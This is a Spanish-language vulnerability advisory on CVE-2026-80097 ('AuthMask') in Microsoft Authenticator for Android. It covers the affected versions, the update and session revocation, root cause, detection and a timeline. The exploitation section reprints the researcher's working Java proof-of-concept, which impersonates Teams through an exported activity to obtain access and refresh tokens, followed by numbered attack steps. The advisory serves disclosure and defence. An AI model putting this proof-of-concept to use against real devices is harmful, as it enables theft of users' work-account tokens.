AuthMask: robo de tokens en Microsoft Authenticator para Android (CVE-2026-80097)

Resumen

• Microsoft Authenticator para Android actúa como intermediario de autenticación para otras aplicaciones de Microsoft. En las versiones anteriores a 6.2606.4246, una actividad exportada permitía que cualquier aplicación del dispositivo, sin ningún permiso, afirmara ser una aplicación de Microsoft instalada, como Teams, y recibiera los tokens de la cuenta de trabajo bajo la identidad de cliente de esa aplicación, incluidos los tokens de acceso y de actualización, en texto plano. La demostración del investigador se llama AuthMask; el fallo es CVE-2026-80097.
• Abarca todos los dispositivos con Microsoft Authenticator para Android anterior a 6.2606.4246 y una cuenta de trabajo con sesión iniciada. Tiene una puntuación base CVSS v3.1 de 8,6, alta (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C), y la calificación de severidad propia de Microsoft es Importante.
• Microsoft afirma que el fallo no se ha explotado y que no se divulgó públicamente antes de la corrección, y la evaluación ADP de CISA registra Explotación: ninguna. El fallo no figura en el catálogo KEV de CISA a 27 de octubre de 2026. Una prueba de concepto pública, publicada por el investigador el 23 de octubre de 2026, demuestra la cadena completa. El valor de madurez del exploit E:U (no demostrado) del vector corresponde a la puntuación que Microsoft asignó el 8 de septiembre, antes de que se publicara esa prueba de concepto.
• Actualice Microsoft Authenticator para Android a 6.2606.4246 o posterior. Las organizaciones que administran dispositivos Android pueden exigir esa versión mínima mediante la gestión de dispositivos.

¿Estoy afectado?

Su dispositivo es vulnerable si se cumplen ambas condiciones:

• El dispositivo ejecuta Microsoft Authenticator para Android (paquete com.azure.authenticator) en una versión anterior a 6.2606.4246.
• Una cuenta de trabajo tiene la sesión iniciada en Authenticator en ese dispositivo, ya que el intermediario entrega tokens para la cuenta que tiene la sesión iniciada.

Para explotar el fallo también se requiere una aplicación maliciosa instalada en el dispositivo. Ese es un requisito previo del atacante, no una condición para ser vulnerable: la aplicación de prueba de concepto no tenía ningún permiso y el ataque se inicia desde esa aplicación, no desde un sitio web.

Este fallo no le afecta si el dispositivo ejecuta 6.2606.4246 o posterior. En la comprobación del 27 de octubre de 2026, la ficha de Google Play mostraba la versión 6.2609.6214, actualizada el 26 de octubre. El fallo reside en la implementación del intermediario de la aplicación Android; el aviso y la investigación publicados se refieren a la aplicación Android, y ninguna de las fuentes disponibles se pronuncia sobre otras plataformas.

La ficha de la aplicación en Google Play muestra más de 100 millones de descargas (consultada el 27 de octubre de 2026). La documentación de Microsoft sobre inicio de sesión único (SSO) en Android identifica Authenticator como un intermediario de autenticación: las aplicaciones pueden usarlo para obtener tokens y compartir el inicio de sesión entre las aplicaciones del dispositivo.

Compruebe la versión que ejecuta:

• En el dispositivo: abra Ajustes de Android, luego Aplicaciones y después Microsoft Authenticator, y consulte la versión que aparece en la pantalla Información de la aplicación. La pantalla Acerca de dentro de la aplicación muestra el mismo valor.
• En una flota administrada: consulte la versión de la aplicación registrada para com.azure.authenticator en su inventario de gestión de dispositivos y exija 6.2606.4246 o posterior.

¿Cómo lo corrijo?

Actualice Microsoft Authenticator para Android desde Google Play y verifique que la versión instalada sea 6.2606.4246 o posterior. En una flota administrada, exija esa versión mínima mediante su plataforma de gestión de dispositivos para que los dispositivos rezagados no puedan mantener la sesión iniciada.

Las fuentes disponibles solo llegan hasta la corrección: el aviso de Microsoft, según lo publicado por The Hacker News, no indica si la actualización revoca los tokens que una aplicación maliciosa ya pudo recopilar, y la divulgación del investigador tampoco aborda ese punto.

Considere expuesto cualquier dispositivo que ejecutara una compilación anterior a la corrección junto a una aplicación desconocida. Pida a un administrador que seleccione al usuario en Entra ID > Usuarios > Todos los usuarios y elija Revocar sesiones, siguiendo las indicaciones de Microsoft para revocar el acceso. Esto revoca los tokens de actualización; los tokens de acceso existentes pueden seguir siendo válidos hasta que caduquen. Rote las credenciales que esas sesiones hayan podido exponer.

No existe una solución alternativa de configuración que evite actualizar: el fallo está en la lógica de validación del intermediario, por lo que ningún ajuste de Authenticator cambia el comportamiento.

¿Cuál es la causa raíz?

La solicitud de tokens del intermediario se construía íntegramente con valores aportados por la aplicación solicitante, y la comprobación de firmas validaba la identidad declarada frente a datos que el solicitante también controlaba. Como ambas partes de la comprobación procedían del mismo solicitante, una aplicación sin permisos podía hacerse pasar por cualquier aplicación de Microsoft instalada y superarla.

La cadena, descrita en la divulgación del investigador sobre la compilación vulnerable, consta de tres partes.

Primero, el punto de entrada está abierto a todas las aplicaciones. Authenticator expone la actividad com.microsoft.identity.client.AccountChooserActivity, marcada como android:exported="true", por lo que cualquier aplicación del dispositivo puede iniciarla. Su único control exige que getCallingActivity() no sea nulo, algo que cumple cualquier solicitante que use startActivityForResult.

Segundo, el atacante redacta la solicitud. La actividad lee los extras del intent directamente en su selector de cuentas, y la solicitud al intermediario se construye a partir de ellos: el UID del solicitante procede del extra caller.info.uid, y el nombre de la aplicación, el nombre del paquete, el ID de cliente, la URI de redirección y los ámbitos proceden del extra JSON broker_request_v2. El resumen de la divulgación es tajante: la identidad del solicitante nunca se utilizó en ninguna decisión de confianza.

Tercero, la validación se limita a confirmar las declaraciones del propio solicitante. BrokerInteractiveTokenCommandParameters.validate() llama a:

platformUtil.isValidCallingApp(getRedirectUri(), getCallerPackageName());

y isValidCallingApp calcula la URI de redirección que debería utilizar el paquete declarado a partir de la firma instalada de ese paquete, y la compara con la URI de redirección que envió el solicitante:

String brokerRedirectUri = PackageHelper.getBrokerRedirectUri(this.mContext, claimedPackage);
return StringUtil.equalsIgnoreCase(claimedRedirect, brokerRedirectUri);

Como la aplicación suplantada está realmente instalada, su firma real puede leerse mediante PackageManager, de modo que el atacante la lee, construye la URI de redirección auténtica y la incluye en la solicitud. La comprobación se supera. Authenticator disponía de una segunda respuesta, el solicitante real obtenido mediante getCallingActivity().getPackageName(), pero solo la utilizaba para tareas de registro interno, nunca para tomar la decisión de confianza.

¿Cómo se explota?

La aplicación del atacante lee la firma de la aplicación suplantada, construye una solicitud al intermediario que afirma proceder de esa aplicación, inicia la actividad exportada y recibe los tokens en su propio onActivityResult.

La prueba de concepto publicada, que se hace pasar por Teams:

int uid = getPackageManager().getApplicationInfo("com.microsoft.teams", 0).uid; // read Teams' uid
String redirect = "msauth://com.microsoft.teams/" + urlEncode(sha1OfInstalledSig("com.microsoft.teams"));

JSONObject req = new JSONObject();           // broker_request_v2, all attacker-controlled
req.put("client_app_name", "com.microsoft.teams");
req.put("client_id", "1fec8e78-bce4-4aaf-ab1b-5451cc387264");
req.put("redirect_uri", redirect);
req.put("scopes", "https://graph.microsoft.com/.default");
req.put("authority", "https://login.microsoftonline.com/organizations");
req.put("username", "<victim-upn>");        // the victim's UPN

Intent i = new Intent();
i.setClassName("com.azure.authenticator", "com.microsoft.identity.client.AccountChooserActivity");
i.putExtra("caller.info.uid", uid);          // spoofed caller uid
i.putExtra("common.broker.protocol.version.name", "20.0");
i.putExtra("broker_request_v2", req.toString());
startActivityForResult(i, 1);                // tokens come back to onActivityResult

En pasos numerados:

1. La aplicación del atacante, sin ningún permiso, lee el UID y la firma instalada de la aplicación de Microsoft que quiere suplantar, en este caso Teams.
2. Construye la URI de redirección msauth:// a partir de esa firma, de modo que la validación del propio intermediario reproduzca el mismo valor, y escribe el ID de cliente, los ámbitos y el nombre de usuario de la víctima en el extra broker_request_v2.
3. Inicia la actividad exportada AccountChooserActivity con startActivityForResult y un caller.info.uid falsificado. Esa llamada proporciona a la actividad una actividad solicitante, por lo que getCallingActivity() no es nulo y se supera el único control de la actividad.
4. La validación compara la URI de redirección aportada por el atacante con la URI derivada de la firma instalada del paquete declarado. Ambos lados tienen el mismo valor, por lo que la comprobación se supera, y ningún paso confirma que la aplicación solicitante sea realmente Teams.
5. La actividad devuelve el resultado del intermediario a quien la inició: un paquete que contiene access_token, refresh_token, id_token y client_info en texto plano, que la aplicación del atacante puede procesar.

Diagrama del flujo de ataque

¿Qué puede hacer un atacante?

El atacante obtiene tokens de la cuenta de trabajo con sesión iniciada en Authenticator en ese dispositivo, con los permisos delegados que tenga el ID de cliente de la aplicación suplantada.

El investigador midió tres suplantaciones y sus ámbitos:

• Suplantación de Teams y solicitud de Microsoft Graph (graph.microsoft.com/.default): Mail.ReadWrite, Mail.Send, Files.ReadWrite.All, Calendars.ReadWrite, ChatMessage.Send, Sites.ReadWrite.All y más, que el investigador resume como acceso delegado completo al buzón, los archivos y el calendario.
• Suplantación del backend de chat de Teams (api.spaces.skype.com): user_impersonation.
• Suplantación del propio cliente de Authenticator: UserAuthenticationMethod.ReadWrite, Passkey.Create, Passkey.Delete.

Microsoft y el investigador coinciden en dos requisitos previos: una aplicación maliciosa instalada en el dispositivo y una cuenta de trabajo con sesión iniciada en Authenticator. Difieren sobre la interacción necesaria:

• Microsoft: El aviso, según lo publicado por The Hacker News, exige que la víctima complete un paso de inicio de sesión en Authenticator. El vector CVSS de Microsoft codifica la interacción del usuario como necesaria (UI:R).
• Investigador: La prueba de concepto devolvió tokens sin más interacción del usuario una vez que el intermediario tenía una cuenta de trabajo con sesión iniciada.

Para el triaje, considere expuesto un dispositivo objetivo con una aplicación desconocida instalada, con independencia de cuál de las descripciones se aplique.

¿Cómo verifico la corrección?

La corrección es la actualización de la aplicación a 6.2606.4246 o posterior. Según la divulgación del investigador, Microsoft corrigió el fallo y las versiones anteriores a 6.2606.4246 están afectadas. En una compilación corregida, un solicitante no debe poder obtener los tokens de otra aplicación aportando la identidad y la URI de redirección de esa aplicación.

La divulgación pública no incluye un diff del parche, por lo que no establece el cambio exacto de validación de la compilación corregida. Muestra que el intermediario vulnerable conocía el paquete solicitante real mediante getCallingActivity(), pero confiaba en la identidad declarada en los extras de la solicitud.

Un defensor puede comprobar el comportamiento esperado en un dispositivo de pruebas después de actualizar: la solicitud de suplantación divulgada no debe devolver los tokens de la cuenta de trabajo a la aplicación atacante. Es un criterio de verificación, no una afirmación sobre la implementación no publicada del parche.

¿Cómo compruebo si sufrí un compromiso?

A 27 de octubre de 2026 no se han publicado indicadores de compromiso, nombres de paquetes de atacantes ni listas de hashes para este fallo, y el aviso de Microsoft no ofrece indicaciones de detección en las fuentes disponibles. Las siguientes comprobaciones se basan en lo que permite sostener el material público.

• En el dispositivo: revise las aplicaciones instaladas para detectar las que no reconozca, especialmente las instaladas fuera de la tienda, y compruebe la versión de Authenticator para delimitar la ventana de exposición.
• En los registros de inicio de sesión y auditoría de la cuenta de trabajo: busque aplicaciones cliente inesperadas que reciban permisos delegados como Mail.ReadWrite, Files.ReadWrite.All, Calendars.ReadWrite o UserAuthenticationMethod.ReadWrite.
• En los mismos registros: busque eventos de consentimiento o emisión de tokens que mencionen el ID de cliente de Teams desde dispositivos que no tengan ninguna sesión de Teams.
• Si una aplicación desconocida coexistió con un Authenticator anterior a 6.2606.4246, asuma que los tokens de la cuenta eran accesibles y revoque sus sesiones activas y tokens de actualización en lugar de esperar evidencias.

Cronología

• 2026-09-08: Microsoft publica CVE-2026-80097 (datePublished del registro CVE) con la corrección en Microsoft Authenticator para Android 6.2606.4246. El investigador había comunicado el problema a MSRC antes de esta fecha, y las fuentes disponibles no indican la fecha de publicación de la versión corregida de la aplicación.
• 2026-10-23: Enclave publica la divulgación técnica de AuthMask con la prueba de concepto completa, atribuida al investigador Ofek Levin mediante el Enclave Fellowship Program.
• 2026-10-26: la ficha de Google Play se actualiza a la versión 6.2609.6214 (consultada el 27 de octubre de 2026).
• 2026-10-27: The Hacker News publica su cobertura del fallo y las indicaciones de corrección del aviso; después aparece esta publicación, y la evaluación ADP de CISA en el registro CVE indica Explotación: ninguna.

Preguntas frecuentes

¿Está afectada la aplicación iOS?

Las fuentes disponibles no lo indican. El aviso, la divulgación del investigador y la cobertura de prensa se refieren a Microsoft Authenticator para Android, y la cadena de ataque se basa en mecanismos de Android: una actividad exportada, lecturas de firmas mediante PackageManager y el protocolo de intermediario de MSAL para Android. Ninguna fuente afirma que la aplicación iOS esté afectada ni que no lo esté, así que trate esto como una corrección de Android y esté atento a cualquier declaración del proveedor sobre otras plataformas.

¿La víctima tenía que tocar algo?

Microsoft y el investigador discrepan. El aviso de Microsoft dice que la explotación requiere que la víctima complete un paso de inicio de sesión en Authenticator, y su vector CVSS codifica la interacción del usuario como necesaria. El investigador informa de que la prueba de concepto devolvió tokens sin interacción más allá de una cuenta de trabajo con sesión iniciada en un dispositivo con el intermediario presente. Ambos coinciden en los requisitos previos relevantes para el triaje: una aplicación maliciosa instalada y una cuenta de trabajo con sesión iniciada.

Si ya se robó un token, ¿la actualización de la aplicación lo revoca?

Las fuentes disponibles no lo indican. El aviso de Microsoft proporciona la versión corregida, pero, como informa The Hacker News, no establece si la actualización cancela los tokens que una aplicación maliciosa ya haya recopilado. Si tiene motivos para sospechar que se recopilaron, revoque directamente las sesiones y los tokens de actualización de la cuenta en lugar de confiar en la actualización.

¿Por qué se califica como alta e Importante en lugar de crítica?

Intervienen dos escalas: la puntuación base CVSS v3.1 de 8,6 se sitúa en la banda alta (7,0 a 8,9), e Importante es la calificación de severidad propia de Microsoft. En CVSS, el ataque es local: el atacante primero necesita una aplicación instalada en el dispositivo, lo que el vector codifica como AV:L, y Microsoft codifica la interacción del usuario como necesaria, lo que reduce aún más la puntuación. La evaluación ADP de CISA registra Explotación: ninguna, Automatizable: no e Impacto técnico: total. El vector local significa que el ataque no puede lanzarse de forma remota contra una flota.

¿Se explotó en ataques reales?

No. Microsoft afirma que el fallo no se ha utilizado en ataques y que no se divulgó públicamente antes de la corrección, y considera su explotación menos probable. La evaluación ADP de CISA registra Explotación: ninguna, y el CVE no figura en el catálogo KEV de CISA a 27 de octubre de 2026.

¿Eliminar la aplicación maliciosa lo corrige?

Elimina la presencia del atacante, pero no el riesgo ya asumido. Los tokens recopilados antes de eliminarla siguen siendo válidos hasta que caduquen o se revoquen, así que revise la actividad de la cuenta y revoque las sesiones además de eliminar la aplicación; después actualice Authenticator para que la misma cadena no pueda ejecutarse de nuevo.

Revise la gestión del intermediario de su propia aplicación Android con Ostorlab

Ejecute un escaneo móvil de Ostorlab sobre sus aplicaciones Android publicadas y revise las actividades exportadas que utilizan extras de intents para tomar decisiones de confianza. Compruebe que cada actividad verifica al solicitante real antes de devolver tokens u otros datos sensibles. Esa comprobación del solicitante es el límite que AuthMask no hizo respetar.

Referencias

• Enclave, «AuthMask: hicimos que Microsoft Authenticator entregara tokens a una aplicación sin ningún permiso», 23 de octubre de 2026, investigador Ofek Levin mediante el Enclave Fellowship Program: la actividad exportada AccountChooserActivity, la solicitud al intermediario aportada por el solicitante, la comprobación de firmas que se confirma a sí misma, la prueba de concepto completa, los ámbitos medidos y la versión corregida: https://enclave.ai/blog/authmask-we-made-microsoft-authenticator-hand-over-tokens (consultado el 27 de octubre de 2026)
• Aviso del Microsoft Security Response Center para CVE-2026-80097, publicado el 8 de septiembre de 2026: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-80097 (página renderizada con JS; contenido del aviso obtenido del registro CVE y de la cobertura de The Hacker News que figura a continuación)
• Registro CVE-2026-80097, CNA Microsoft, publicado el 8 de septiembre de 2026, «La autenticación incorrecta en Microsoft Authenticator permite a un atacante no autorizado elevar privilegios localmente», CVSS v3.1 8,6 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C), con la evaluación SSVC de CISA ADP Explotación: ninguna, Automatizable: no, Impacto técnico: total: https://cveawg.mitre.org/api/cve/CVE-2026-80097 (consultado el 27 de octubre de 2026)
• The Hacker News, «Un fallo de Microsoft Authenticator permitía a aplicaciones Android sin permisos robar tokens de cuentas de trabajo», 27 de octubre de 2026, citando el aviso de Microsoft sobre la versión corregida 6.2606.4246, el requisito previo del paso de inicio de sesión, el estado sin explotación, la calificación Importante de 8,6, el contexto del Patch Tuesday de septiembre y la vía de corrección mediante gestión de dispositivos: https://thehackernews.com/2026/10/microsoft-authenticator-flaw-let.html (consultado el 27 de octubre de 2026)
• Ficha de Google Play de Microsoft Authenticator para Android, com.azure.authenticator, más de 100 millones de descargas, versión actual 6.2609.6214 actualizada el 26 de octubre de 2026: https://play.google.com/store/apps/details?id=com.azure.authenticator (consultado el 27 de octubre de 2026)
• Catálogo Known Exploited Vulnerabilities de CISA, consultado para CVE-2026-80097 el 27 de octubre de 2026 (no figura): https://www.cisa.gov/known-exploited-vulnerabilities-catalog